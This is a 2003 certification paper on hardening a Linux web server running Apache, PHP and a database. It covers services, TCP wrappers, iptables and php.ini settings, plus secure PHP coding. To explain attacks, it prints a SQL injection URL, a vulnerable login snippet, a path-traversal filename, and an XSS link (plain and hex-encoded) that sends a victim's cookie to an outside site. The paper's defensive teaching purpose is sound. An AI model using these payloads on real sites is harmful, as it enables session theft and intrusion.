Global Information Assurance Certification Paper

Hardening your LAMP box

by De Leersnijder Fréderic

December 2003
GSEC practical assignment, ver 1.4b Option 1
Research on topics in information security

Abstract

As Linux continued to grow, became easier to install and all components needed for a LAMP box could be selected during the installation, the LAMP platform has become a very popular platform for web applications. Default settings however don't tend to be very secure. What directives from the PHP configuration file should be changed and why, how can access to services in general be restricted.

It's not so uncommon, especially in smaller companies, that the system administrator and the developer are merged into the same person. The goal of this paper is to provide some basic steps to harden the LAMP box but also to give some tips how to write secure code in PHP. Most of these apply to all scripting languages. After reading this paper you should be introduced to the most common tools to keep your server secure.

Hardening your LAMP[1] box

1. Disk layout

Needless to say a RAID setup of your storage is essential to recover from disaster which will, sooner or later, strike.
A good disk layout however is one of the things that is often overlooked. Sure, you can put everything in the same partition but you may want to put limitations on the size of certain parts of your file system.

/var
Contains mail & log files. If your server develops a chronic error, it could fill up your partition.
/boot /tmp /home /usr

The result of a filled up root file system will most likely be a crash of your system.
With mke2fs -m you can reserve a number of blocks for the super user. That way you'll still be able to log vital information even when the file system is filled up.
Afterwards your filesystem can be tuned with tune2fs, for example to modify the percentage of disk space reserved for the super user.

More information about partitioning your disks can be read in the Linux Partition HOWTO[2]

2. Installing the operating system

A minimal install of your distribution is a bit over the top and will cause more headaches than it's worth. Just don't install packages you don't need. E.g. if you don't need a GUI, and a server shouldn't, don't install one.

After installing your operating system you should install Bastille Linux. Bastille provides hardening scripts based upon practical experience, addresses most of the point from the SANS step by step guide and various other security sources.
These hardening scripts not only harden the system, they also educate the system administrator.
Check http://www.bastille-linux.org/ to find out if your distribution is supported.

[1] Linux - Apache - MySQL/PostgreSQL - PHP/Perl/Ruby
[2] http://www.tldp.org/HOWTO/Partition/

3. File permissions

An in-depth understanding of the file permissions in Linux is essential for every administrator. Linux always has been a multi-user system and has a very solid permission implementation to secure user & system data.

There are so many resources available to learn about file permissions. There's no need for another lengthy tutorial.

```
drwxrwxrwt  11  root      root   4096  Nov 17       15:06 tmp
-rwxr-x---   1  frederic  staff   589  Oct 30 21:40       sfx.pl
```

You can set the permissions for the owner, for a group and the rest of the users. For each of these you can enable read, write and execute permissions with chmod.
Directories are slightly different. You can set read, write and list permissions. Also, a sticky bit can be set. Meaning that files in that directory can't be deleted by someone not owning the file, even if that user has write permissions on that file.
Don't forget, never give a user more rights than it needs. Don't let yourself be seduced to use one user running apache, mysql, having access to all your data...

4. Keeping your system up to date

Keeping software on your Linux box up-to-date will, without a doubt, result in a more secure box. Be careful with production systems. You might want to think twice about updating software if you didn't test it on a development server first. If you don't have a spare server you should find out if other people had problems afterwards.

Some guidelines[3] to help you decide if you should or shouldn't perform an update:

- Apply updates to fix vulnerabilities that could compromise the root account. It never hurts to check the mailing lists to see if things don't break after an update. To name the most important: BugTraq[4] and CERT[5].
- If your system provides a shell for more than a few users, you should apply updates addressing escalation of privileges bugs.
- Updates that are not security related can most likely be skipped. Unless it leads to system instability enabling a malicious individual to perform another attack.

[3] From Building Secure Servers with Linux
[4] http://www.securityfocus.com
[5] http://www.cert.org

To keep yourself informed about security related issues, all major distributions have their own security pages.

Redhat: http://www.redhat.com/solutions/security/
Debian: http://www.debian.org/security
Mandrake: http://www.mandrakesecure.net/en/advisories/
Caldera: http://www.caldera.com/support/security/
Suse: http://www.suse.com/security/
FreeBSD: http://www.freebsd.org/security/
If you have another distribution, I'm convinced there will be a security page on their website as well.

Regrettably often, e.g. in Redhat, you'll need to upgrade a lot of rpm's to solve dependency issues. The same applies for uninstalling a package, rpm dependencies often kill you before you can uninstall something…unless forced but that can again lead to system instability.

I've always favoured building applications from source. I never have to wait until a package for my distribution appears. You should really give compiling from source a try if you haven't; it's not as hard as it sounds.
Not so long ago, when the apache chunked encoding vulnerability[6] was discovered, I was able to build the http daemon, replace the old one and be sure that at any point I could put the previous http daemon back. Should my build lack any functionality from the exotically flavoured build from my predecessor.

If you need to have a LAMP box set up quick and easy to maintain, you can rely on packages. Most of the software packages can be managed through precompiled binaries provided by your Linux distribution.
Many already experienced that updating packages by hand is not all sunshine and lollypops. Tracking down dependencies can take up hours of your precious time.
Frustrated people took the time to develop tools to automate package management. The results of these efforts are redhat's up2date, debian's apt, mandrake's urpmi...
There is an excellent paper[7] on keeping Red Hat Linux Systems Secure with up2date in SANS reading room. I want to introduce you to another tool!
Apt[8], advanced packaging tool is a special one. Originated on debian to handle .deb packages, it has been ported so it can also handle rpm's. It's free to use unlike up2date. Although up2date has free demo accounts with limited one system per username access. But that's not a very scaleable solution.

[6] CVE-2002-0392 on http://cve.mitre.org/
[7] http://www.sans.org/rr/papers/56/1197.pdf
[8] Advanced Packaging Tool

Installation

Binary packages can be found at http://apt.freshrpms.net/ or an independent package at the apt4rpm[9] project homepage at sourceforge.
rpm -Uvh <apt-xxx.rpm>

Usage

apt-get update : Retrieve new list of packages

```
[root@localhost root]# apt-get update
Get:1 http://ayo.freshrpms.net redhat/9/i386 release [1170B]
Fetched 1170B in 0s (3024B/s)
Get:1 http://ayo.freshrpms.net redhat/9/i386/os pkglist [1357kB]
Get:2 http://ayo.freshrpms.net redhat/9/i386/os release [140B]
Get:3 http://ayo.freshrpms.net redhat/9/i386/updates pkglist [340kB]
Get:4 http://ayo.freshrpms.net redhat/9/i386/updates release [153B]
Get:5 http://ayo.freshrpms.net redhat/9/i386/freshrpms pkglist [151kB]
Get:6 http://ayo.freshrpms.net redhat/9/i386/freshrpms release [157B]
Fetched 1848kB in 13s (134kB/s)
Reading Package Lists... Done
Building Dependency Tree... Done
```

apt-get check : Verify that there are no broken dependencies

```
[root@localhost root]# apt-get check
Reading Package Lists... Done
Building Dependency Tree... Done
```

apt-get upgrade : Perform an upgrade

```
[root@localhost root]# apt-get upgrade
Reading Package Lists... Done
Building Dependency Tree... Done
The following packages will be upgraded
XFree86 ... ethereal gdm glibc glibc-common glibc-devel httpd httpd-manual
iproute ...
The following packages have been kept back
  gaim gstreamer-plugins gthumb
61 packages upgraded, 0 newly installed, 0 removed and 3 not upgraded.
Need to get 101MB of archives.
After unpacking 1189kB disk space will be freed.
Do you want to continue? [Y/n]
Get:1 http://ayo.freshrpms.net redhat/9/i386/updates glibc-common 2.3.2-
27.9.7 [12.7MB]
Get:2 http://ayo.freshrpms.net redhat/9/i386/updates glibc 2.3.2-27.9.7
[4887kB]
...
```

[9] http://sourceforge.net/projects/apt4rpm/

```
Fetched 101MB in 4m11s (400kB/s)
Executing RPM (-Uvh)...

Preparing... ########################################### [100%]
1:glibc-common ########################################### [  2%]
2:glibc        ########################################### [  3%]
Stopping sshd:[  OK  ]
Starting sshd:[  OK  ]
...
61:unzip       ########################################### [100%]
```

That's all folks. It's not going to get any easier than that!!

Note: if you use a proxy server you need to set the http_proxy environment variable. (export http_proxy=http://proxy.site.com:port)

5. Disable unnecessary services

Default installations also run a lot of services that shouldn't.
You can see a list of the services that get started at boot time with chkconfig.

```
chkconfig --list
keytable      0:off   1:on    2:on    3:on    4:on    5:on    6:off
atd           0:off   1:off   2:off   3:on    4:on    5:on    6:off
syslog        0:off   1:off   2:on    3:on    4:on    5:on    6:off
gpm           0:off   1:off   2:on    3:on    4:on    5:on    6:off
sendmail      0:off   1:off   2:on    3:on    4:on    5:on    6:off
…
```

```
chkconfig --level 345 atd off
```

```
chkconfig --list
keytable      0:off   1:on    2:on    3:on    4:on    5:on    6:off
atd           0:off   1:off   2:off   3:off   4:off   5:off   6:off
syslog        0:off   1:off   2:on    3:on    4:on    5:on    6:off
gpm           0:off   1:off   2:on    3:on    4:on    5:on    6:off
sendmail      0:off   1:off   2:on    3:on    4:on    5:on    6:off
…
```

Another tool to manage this in a text based GUI is ntsysv.

Also check which services are started through (x)inetd. I prefer to shut down this service as you can run all necessary services for a LAMP box as stand alone daemons.

And to finish, services can also be started from the /etc/rc.d/rc.local script.

6. Protect your services with TCPWrappers

You can either start a service as a stand alone daemon or let inetd (or xinetd) manage it. Each approach has its own advantages.

Inetd provides internet service management. Advantages are the simplicity to restrict access to services and reducing system load. Daemons are loaded only when they are needed.
Restricting access is done with the aid of tcpwrappers. Inetd invokes tcpd, a wrapper daemon using the libwrap library.

e.g. /etc/services for inetd
```
imap    stream  tcp     nowait  root    imapd
```
becomes
```
imap    stream  tcp     nowait  root    /usr/sbin/tcpd  imapd
```

e.g. /etc/xinetd.d/ntalk for xinetd would look like this
```
service ntalk{
        disable = no
        protocol        = udp
        wait            = yes
        user            = root
        server          = /usr/sbin/tcpd
        server_args     = /usr/sbin/in.ntalkd
}
```

With this extra layer between the network and a service, you can control what gets through. This is managed with the configuration files /etc/hosts.allow and /etc/hosts.deny.
What follows is a simple example to illustrate the use of it. The concept is a “deny everything”, “allow specific access” to services policy.

hosts.deny
```
#Deny all access
ALL:ALL
```

hosts.allow
```
ALL: LOCAL, 127.0.0.1 192.168.1.101
sshd: 192.168.10.20 192.168.10.30
sendmail: LOCAL, 127.0.0.1
```

Because of the way inetd works its use is not recommended for daemons that need to serve multiple users or are heavily used. Each time the request is served, the daemon that served the request is terminated. That means a big overhead as a new process has to be forked and execute the appropriate daemon.

Services that run as stand alone daemons manage their own connection handling. The daemon isn't terminated when the request has been served. On the contrary, connections are kept open for a while for future requests. Termination of stand alone daemons is done by the system administrator. You can also start and stop standalone services through the sysv boot system.

You might wonder why you're able to protect a service with tcpwrappers although it was initiated as a standalone daemon. Take the SSH daemon for example. By default, it's not started through (x)inetd. The answer simply is that it's compiled with tcpwrappers support. That way it will respect hosts.deny & hosts.allow. That's not a reason not to use the access control features from the ssh daemon itself!

Either way you choose to run your service, you'll need some way to restrict access to it. Using tcpwrappers is an easy way to make your box more secure.
It's no substitute for a decent packet filter though. But you can't say no to an extra layer of security!

7. Protect your services with IPtables/netfilter

The TCP/IP protocol is insecure by design. There are no provisions to check if a packet has been tampered with. The problem with packets is that they can be altered by people beside the sender or they can be spoofed. Spoofed source addresses to trick software into granting you access, malformed packets to confuse the target computer etc
Because of that we need to be on our guard and be skeptic about the packets we receive.

To provide a means of protection against this kind of attacks, you need a firewall. Before investing in expensive hardware, one should look at IPtables (netfilter[10]).
Plus, if the server is located on the internal network, it's not protected by the firewall from internal attacks. Even when you trust all the people with your life working on the internal network, their box can get compromised and used to attack a server located on the same network.

IPtables is the firewall subsystem for the Linux kernel 2.4 and above. It provides stateless and stateful packet filtering, network address translating. For our purposes it allows us to accept or reject packets in a dynamic way. I'm assuming the software is already installed as it is installed by default by most distributions.

[10] firewalling, NAT & packet mangling for Linux 2.4
http://www.netfilter.org/

Traffic can be divided into three categories. IPtables will test incoming traffic with the INPUT chain rule set, outgoing traffic with the OUTPUT chain rule set, traffic that needs to be forwarded with the FORWARD chain rule set.

First you need to set the default policies for these chains. A long time winner is: don't allow anything unless it's explicitly allowed.
Translating this to the appropriate iptables commands:

Start your iptables service: /etc/rc.d/init.d/iptables start
Flush all existing rules:

iptables --flush
iptables --delete-chain

'/etc/rc.d/init.d/iptables stop' will put all the default policies for all chains for all tables back to ACCEPT. Of course you'll need to start iptables again.

Allow unlimited traffic to the loopback interface

Iptables --A INPUT -i lo -j ACCEPT
iptables --A OUTPUT -o lo -j ACCEPT

Deny everything policy
iptables --policy INPUT DROP
iptables --policy OUTPUT DROP
iptables --policy FORWARD DROP

I won't get any deeper into rules to drop packets. There are plenty that drop suspicious packets but I'm new to firewalling myself so it was not my intention to provide a hardcore firewall guide. Smarter people have written books about the subject and I can advise Linux Firewalls from Robert L. Ziegler published at New Riders.
Although you shouldn't follow his advice to set the default policies for the chains from the other tables (nat & mangle) to DROP because your packet will be dropped before they reach the filter table.

Nothing can get through the firewall. It's time to define some rules allowing certain services. I'm going to focus on remote ssh access to the server. Beside a different port, the exact same rules apply for www and www-ssl.

Accept packets from established and related connections. (for complex protocols like ftp – which you shouldn't have on your box)
I'm assuming the server's IP address 192.168.0.102 and the network that has to be able to access this server is 192.168.0.*

iptables --A INPUT –m state --state ESTABLISHED,RELATED –j ACCEPT
iptables --A INPUT –m state --state INVALID –j LOG –log-prefix "INVALID IN:"
iptables --A INPUT –m state --state INVALID –j DROP
iptables --A OUTPUT –m state --state ESTABLISHED,RELATED –j ACCEPT

iptables --A OUTPUT –m state --state INVALID –j DROP

iptables --A INPUT -i eth0 –p tcp –d 192.168.0.102 --dport 22 –s 192.168.0.0/24 \
--sport 1024:65535 –m state –state NEW –j LOG –log-prefix “SSH:”
iptables --A INPUT -i eth0 –p tcp –d 192.168.0.102 --dport 22 –s 192.168.0.0/24 \
--sport 1024:65535 –m state --state NEW –j ACCEPT

Beside the port, the same entries can be made for www (80) and www-ssl (443)

In the appendix you can find some additional rules for allowing dns lookups, ping etc
There are two very excellent firewall scripts. Check out rc.firewall[11] at projectfiles.com and NARC[12] at freshmeat.net.
They do a lot more than we need but we can learn a lot from them.

8. The secure side of PHP

PHP represents the P of my LAMP box. This embedded scripting language is very popular these days. While it has grown to include complex functionality, it’s still one of the easiest scripting languages to learn. You can get started in no time by weaving some code into your HTML. Useful applications appear on a daily basis but few of them have been written with security in mind. Many programmers don’t even know that they shouldn’t trust user input and by the time they do it’s a lot of work to review all the code. Even then potential security holes will be overlooked. From the system administrators perspective this has a nasty angle. No matter how PHP is executed, it has the potential to access all sorts of resources from the server. The filesystem, the network interfaces etc. It’s the sysadmin’s job is to protect the server as good as he can while not making it impossible to use PHP.

It might sound strange but the configuration file for PHP isn’t installed on your filesystem by default. Check for /usr/local/lib/php.ini and if it’s not present, copy php.ini-recommended from the source files.
Through this configuration file you’ll be able to limit PHP’s use of system functions that it shouldn’t use anyway.

Safe mode[13] is an attempt to make PHP more secure at the PHP level. Because of the way PHP is programmed, intertwined with the apache webserver, the privileges of the user running the apache daemon could be abused. What safe mode does is restrict or disable certain functions[14]. Mainly

[11] http://projectfiles.com/firewall/
[12] “Netfilter Automatic Rules Configurator” URL:
http://software.freshmeat.net/projects/narc/?topic_id=43
[13] “Safe Mode”, URL:
http://www.php.net/features.safe-mode
[14] “Functions restricted/disabled by safe mode”, URL:
http://www.php.net/manual/en/features.safe-mode.functions.php

functions that work with files. Enabling this mode is most useful when you write every line of code and don't run any 3rd party software. If on the other hand we're talking about hosting multiple websites there's probably going to be a lot of software that won't work because it relies on the usage of certain restricted functions.

Even if you decide not to use safe mode it's still possible to restrict access to functions that users shouldn't ever have to use.

open_basedir
e.g. open_basedir = /www/app/apache/htdocs

An easy alternative for chroot'ing your whole apache. It restricts PHP's access to the filesystem to the directory trees listed. It's your most important line of defense against directory traversal attacks. Also, this setting is not affected by whether safe mode is turned on or off.

An example script naughty.php
<?php
readfile('/etc/passwd');
?>

Warning: open_basedir restriction in effect. File is in wrong directory in /www/app/apache/htdocs/naughty.php

disable_functions

Used to disable some of php's functions. There are functions that shouldn't be available on multi-user systems, functions that shouldn't be available on production systems... Again, this setting is not affected whether safe mode is on or off. Functions that should be disabled are

phpinfo

don't let users print out all information about the setup of your system. It would enable a malicious user to target specific bugs.

system, exec, shell_exec, passthru, proc_open, popen, ini_set: prevents users from making system calls.

Error Logging

Instead of sending errors to the screen you should send them to a log file. This prevents giving away valuable information one might need to compromise your system. Information like paths, database names & tables. To do this, set the following options in php.ini

display_errors = Off
log_errors = On
error_log = /www/app/logs/php_error.log

Make sure this path is within your open_basedir. Otherwise PHP won't be able to write in it.

Register Globals

From PHP 4.2.0 onwards the default value of the PHP directive register_globals was changed from on to off. When turned on, your pool of variables is like a big jar. Variables from post, get and cookies ended up in the same place. When, due to poor programming, a variable wasn't initialized it was possible to poison the script with variables from another source than you expected. Note that one should always check user input because this setting does not protect you against someone trying to inject code into your script.

```
<?php
// define $authorized = true only if user is authenticated
if ($pass == "secret") {
    $authorized = true;
}

// Because we didn't first initialize $authorized as false, this might be
// defined through register_globals, like from GET auth.php?authorized=1
// So, anyone can be seen as authenticated!
if ($authorized) {
    echo "All secret data of your company.";
}
?>
```

To access your get, post, cookie or other variables it's prefered to use the superglobal[15] variables such as $_ENV, $_POST, $_GET, $_FILES

Other important PHP directives

- include_path: make sure this is within the open_basedir

- file_uploads: Enable this only if you really need it. There have been security issues with uploading files in PHP in the past. If you do need it, upload the files to a directory that is not accessible by the user running apache.

```
chown frederic:nobody /www/uploads
chmod 730 /www/uploads
```

- allow_url_fopen: To prevent including remote files by means of an URL, turn this off.

[15] "Predefined variables." URL: http://www.php.net/manual/en/language.variables.predefined.php

- session.save_path : The default path is the world readable /tmp directory. If there are other users on the server beside you, this provides them with information that might enable them to hijack sessions.

- session.use_trans_id : Set this to 0 when you want to enforce the use of cookies. If not you should use SSL for communications between the client and the webserver. Otherwise eavesdroppers will be able to get the session ID stored in the cookie.

9. Secure Programming tips

As I mentioned before, system administrators and application developers tend to be the same people in small companies. It's impossible to be very good in everything but some basic programming guidelines should avoid the most common causes for security holes.

User input can't be trusted

Most of the security holes in web applications are caused by poorly validated user input. It got a bit better when register_globals was deactivated by default but it is something to look into.
By using superglobals to access your parameters, uninitialized variables didn't get a value anymore from an unintended source. But unvalidated input can do a lot more harm than that.

Take SQL injection for example. Lets say user input is used in an SQL query.

```
$query = "SELECT * FROM users WHERE username='" . $username . "'
        AND password='" . $password . "'";

// the record exists function is defined elsewhere
if (record_exists($query)) {
        echo "Access granted";
} else {
        echo "Access denied";
}
```

check.php?username=admin&password=x
would authenticate a user the way we intended it. If on the other hand the script was accessed by the URL
check.php?username=admin&password=a%27+OR+1%3Di%271 we would get a very different result. The password parameter without URL encoding would be password='a' or 1='1'. This would result in the admin user account always being returned even if the password was incorrect.

Another type of attack caused by not validating or filtering user input are cross-site scripting attacks. (XSS) When user input is displayed in a html

page, it can be used to inject foreign code into the page. For example[16], a user receives a link to a login page that has a XSS vulnerability. Tricked into believing he has to log in for some reason he follows a link, poisoned with a HEX encoded parameter.

http://a.portal.com/login.php?user="><script>document.location='http://www.cgisecurity.com/cgi-bin/cookie.cgi? '%20+document.cookie</script>
which would look something like this to hide the poison in the link.

http://a.portal.com/login.php?user=%22%3e%3c%73%63%72%69%70%74%3e%64%6f%63%75%6d%65%6e%74%2e%6c%6f%63%61%74%69%6f%6e%3d%27%68%74%74%70%3a%2f%2f%77%77%77%2e%63%67%69%73%65%63%75%72%69%74%79%2e%63%6f%6d%2f%63%67%69%2d%62%69%6e%2f%63%6f%6f%6b%69%65%2e%63%67%69%3f%27%20%2b%64%6f%63%5%6d%65%6e%74%2e%63%6f%6f%6b%69%65%3c%2f%73%63%72%69%70%74%3e
This would retrieve the user's cookie and sends a request to the cgisecurity.com site with the cookie in the link. It was stolen by injecting foreign code into a legitimate page.

What kind of solutions are there to avoid this kind of attacks?
With addslashes you can escape the single quotes to render an attempt to inject SQL code harmless. With the functions htmlspecialchars or htmlentities you can escape HTML code in variables.
Just keep in mind that you should never use unvalidated or unfiltered user input.

Avoid false uploads

Always make sure you're working with the uploaded file. Don't trust the file name coming from the form. An upload form can be saved and modified so that the name value of the file would be ../../../../../etc/passwd. If you use this value in your script you could end up moving the password file to an accessible location on the webserver.
You can use the is_uploaded_file and move_uploaded_file functions to ensure you're working with uploaded files.
On top of that, avoid using user input for filenames at all.

Don't reinvent the wheel

It would be silly to think you could program you own implementation of an encryption protocol. It's more likely you'll trust blowfish to encrypt your sensitive data. The same applies for PHP functionality. Don't start writing things that have been proven to be secure and reliable (until then). I'm thinking of session management, authentication, cryptography etc.
The betterPHP[17] community has written an easy to use, but secure, authentication script you can integrate in your code

[16] The Cross Site Scripting FAQ
[17] betterPHP, "Community Resources for secure PHP development." URL: http://www.betterphp.com/

Check the PEAR[18] network first to see if the functionality you need isn't already written in a secure way. This framework and distribution system for reusable PHP components. Software in PEAR has to be compliant with Pear Coding Standards resulting in code of high quality.

[18] PEAR Network. URL: http://pear.php.net/

10. Conclusion

Your LAMP box should be a bit harder now. I have attempted to cover a broad range of aspects. From setting up the operating system, restricting access to services, configuring PHP to some guidelines about secure programming in PHP. There could be a lot more information in this paper. So much actually it would turn into a book. But people with bigger brains have already done that and it would be pointless to try to duplicate their efforts. I myself consider this to be light reading to introduce people to what's possible to harden their server. I hardly talked about apache & mysql. This is because I wanted to cover topics that a user wouldn't necessarily have to know about. He will have to know about restricting access to users in apache, giving privileges to database users if he wants to get started with his application. On the other hand, his apache service may start at boottime without him fully understanding what is going on.

11. References

Dougherty, Dale. LAMP: The open source Web Platform. Jan 2001. URL: http://www.onlamp.com/pub/a/onlamp/2001/01/25/lamp.html (9 Dec. 2003)

Granneman, Scott R. “A very Apropos Apt.” Linux Magazine, vol. 5, no. 10, pp. 24-28

Bauer, Michael D. “Building Secure Servers with Linux.” O’Reilly, 2002. 1-101

Ziegler, Robert L. “Linux Firewalls.” New Riders, 2001. 1-179

Barrett, Daniel J. SilverMan, Richard E. Byrnes, Robert G. “Linux Security Cookbook.” O’Reilly, 2003. 1-71

Rubarth, Lay. Keeping the 400lb. Gorilla at Bay. May 1996. URL: http://eunuch.ddg.com/LIS/CyberHornsS96/j.rubarth-lay/PAPER.html (9 Dec. 2003)

Andreasson, Oskar. Iptables tutorial. 1.1.19. URL: http://iptables-tutorial.frozentux.net/ (9 Dec. 2003)

Bellovin, S.M.. “Security problems in the TCP/IP suite.” Apr. 1989. URL: http://www.insecure.org/stf/tcpip_smb.txt (9 Dec. 2003)

Dimov, Jordan. “On the Security of PHP.” 6 Aug 2002. URL: http://www.phpadvisory.com/articles/view.phtml?ID=5 (9 Dec. 2003)

“Configuring PHP for Security.” 8 Dec. 2003 URL: http://galinux.com/howtos/phpconfig.html (9 Dec. 2003)

Dharmendra, T. “PHP Secure installation.” Aug. 2002. URL : http://www.linuxsecurity.com/feature_stories/feature_story-117.html (9 Dec. 2003)

Coggeshall, John. PHP Security, part 1. Jul 2003. URL: http://www.onlamp.com/pub/a/php/2003/07/31/php_foundations.html (9 Dec. 2003)

Coggeshall, John. PHP Security, part 2. Aug 2003. URL: http://www.onlamp.com/pub/a/php/2003/08/28/php_foundations.html (9 Dec. 2003)

Coggeshall, John. PHP Security, part 3. Sep 2003. URL: http://www.onlamp.com/pub/a/php/2003/10/09/php_foundations.html (9 Dec. 2003)

Wheeler, David A. “Secure Programming for Linux and Unix HOWTO.” Mar. 2003 URL: http://www.tldp.org/HOWTO/Secure-Programs-HOWTO

“The Cross Site Scripting FAQ.” Aug 2003. URL: http://www.cgisecurity.com/articles/xss-faq.shtml (9 Dec. 2003)

Malcolm, Clancy. “Ten Security Checks for PHP, Part 1.” Mar 2003. URL: http://www.onlamp.com/pub/a/php/2003/03/20/php_security.html (9 Dec. 2003)

Appendix

In the example below the address of my server is 192.168.0.102. The firewall is configured to allow incoming ssh, www, www-ssl and outgoing connections for dns queries, ping, www and www-ssl

You can import these firewall rules with the iptables-restore command.

```
# Generated by iptables-save v1.2.7a on Sun Dec  7 22:15:36 2003
*nat
:PREROUTING ACCEPT [51:6504]
:POSTROUTING ACCEPT [533:32028]
:OUTPUT ACCEPT [577:35196]
COMMIT
# Completed on Sun Dec  7 22:15:36 2003
# Generated by iptables-save v1.2.7a on Sun Dec  7 22:15:36 2003
*mangle
:PREROUTING ACCEPT [33047:2092925]
:INPUT ACCEPT [33835:2142566]
:FORWARD ACCEPT [0:0]
:OUTPUT ACCEPT [33186:2121576]
:POSTROUTING ACCEPT [33790:2160502]
COMMIT
# Completed on Sun Dec  7 22:15:36 2003
# Generated by iptables-save v1.2.7a on Sun Dec  7 22:15:36 2003
*filter
:INPUT DROP [12:1697]
:FORWARD DROP [0:0]
:OUTPUT DROP [44:3168]
-A INPUT -i lo -j ACCEPT
# Log inbound traffic for educational purposes
-A INPUT -i eth0 -j LOG --log-prefix "Incoming: "
# Drop some suspicious packets
# This is a very limited list and you should read up on firewalling
# with IPtables to refine this.
-A INPUT -p tcp -m tcp --tcp-flags FIN,SYN,RST,PSH,ACK,URG NONE \
-j DROP
-A INPUT -p tcp -m tcp --tcp-flags FIN,SYN FIN,SYN -j DROP
-A INPUT -p tcp -m tcp --tcp-flags SYN,RST SYN,RST -j DROP
-A INPUT -p tcp -m tcp --tcp-flags FIN,RST FIN,RST -j DROP
-A INPUT -p tcp -m tcp --tcp-flags FIN,ACK FIN -j DROP
-A INPUT -p tcp -m tcp --tcp-flags PSH,ACK PSH -j DROP
-A INPUT -p tcp -m tcp --tcp-flags ACK,URG URG -j DROP
# Accept related and established connections. Don't log anymore
-A INPUT -m state --state RELATED,ESTABLISHED -j ACCEPT
# Log and drop invalid connections
-A INPUT -m state --state INVALID -j LOG \
--log-prefix "INVALID input: "
-A INPUT -m state --state INVALID -j DROP
# Log and accept a new SSH connection
-A INPUT -d 192.168.0.102 -i eth0 -p tcp -m tcp --sport 1024:65535 \
--dport 22 -m state --state NEW -j LOG --log-prefix "SSH:"
-A INPUT -d 192.168.0.102 -i eth0 -p tcp -m tcp --sport 1024:65535 \
--dport 22 -m state --state NEW -j ACCEPT
# Log and accept a new WWW connection
-A INPUT -d 192.168.0.102 -i eth0 -p tcp -m tcp --sport 1024:65535 \
--dport 80 -m state --state NEW -j LOG --log-prefix "WWW:"
-A INPUT -d 192.168.0.102 -i eth0 -p tcp -m tcp --sport 1024:65535 \
```

```
--dport 80 -m state --state NEW -j ACCEPT
-A INPUT -d 192.168.0.102 -i eth0 -p tcp -m tcp --sport 1024:65535 \
--dport 443 -m state --state NEW -j LOG --log-prefix "WWW-SSL:"
-A INPUT -d 192.168.0.102 -i eth0 -p tcp -m tcp --sport 1024:65535 \
--dport 443 -m state --state NEW -j ACCEPT
# Accept all inbound traffic for the loopback interface
-A OUTPUT -o lo -j ACCEPT
# Log outgoing packets for educational purposes
-A OUTPUT -o eth0 -j LOG --log-prefix "outgoing: "
# Accept related and established connections
-A OUTPUT -m state --state RELATED,ESTABLISHED -j ACCEPT
# Allow dns queries (check for your nameserver in /etc/resolv)
-A OUTPUT -o eth0 -p udp -s 192.168.0.102 --sport 1024:65535 \
-d 195.130.130.2 --dport 53 -m state --state NEW -j ACCEPT
# Allow new outbound icmp connections
-A OUTPUT -o eth0 -p icmp -m state --state NEW -j ACCEPT
# Allow new outbound www connections
-A OUTPUT -o eth0 -p tcp --dport 80 -m state --state NEW -j ACCEPT
-A OUTPUT -o eth0 -p tcp --dport 443 -m state --state NEW -j ACCEPT
# Log and drop invalid outbound connections
-A OUTPUT -m state --state INVALID -j LOG \
--log-prefix "INVALID OUTPUT: "
-A OUTPUT -m state --state INVALID -j DROP
COMMIT
```